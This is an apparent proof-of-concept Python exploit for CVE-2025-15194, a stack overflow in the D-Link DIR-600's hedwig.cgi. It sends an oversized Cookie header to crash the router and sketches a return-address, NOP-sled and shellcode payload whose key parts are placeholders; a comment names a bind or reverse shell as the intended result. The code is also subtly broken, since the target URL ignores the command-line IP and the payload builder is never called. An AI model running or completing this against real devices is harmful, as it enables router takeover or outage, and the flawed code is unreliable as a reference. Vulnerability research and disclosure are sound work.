CVE-2025-15194 D-Link DIR-600 hedwig.cgi栈溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15194 PoC - D-Link DIR-600 hedwig.cgi Stack Buffer Overflow Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET_IP = "192.168.0.1" # Default D-Link router IP TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/hedwig.cgi" def create_exploit_payload(): """ Generate malicious Cookie header to trigger buffer overflow. The payload structure: - Padding to overflow the buffer - Return address overwrite (ROP gadget address) - Shellcode or additional ROP chain """ # Buffer size in hedwig.cgi (adjust based on target firmware) buffer_size = 1024 # Padding to fill the buffer padding = b'A' * buffer_size # Overwrite return address (example ROP gadget) # In real exploit, this would be an address pointing to pop;ret gadget return_addr = b'\xaa\xbb\xcc\xdd' # Placeholder - need to find actual gadget # NOP sled for reliability nop_sled = b'\x90' * 64 # Shellcode for MIPS architecture (D-Link router CPU) # This is a placeholder - actual shellcode would execute bind shell or reverse shell shellcode = b'\x00\x00\x00\x00' # Placeholder shellcode payload = padding + return_addr + nop_sled + shellcode return payload def check_vulnerability(target_ip): """Check if target is vulnerable by sending oversized Cookie header.""" print(f"[*] Testing CVE-2025-15194 on {target_ip}") # Create malicious Cookie header evil_cookie = f"uid=1; " + "A" * 2000 # Oversized value to trigger overflow headers = { 'Cookie': evil_cookie, 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-15194-Test)', 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.get(TARGET_URL, headers=headers, timeout=5) print(f"[+] Response received: Status {response.status_code}") return True except requests.exceptions.Timeout: print("[!] Request timed out - possible successful exploitation") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] print("=" * 60) print("CVE-2025-15194 PoC - D-Link DIR-600 hedwig.cgi") print("Stack-Based Buffer Overflow Vulnerability") print("=" * 60) check_vulnerability(TARGET_IP)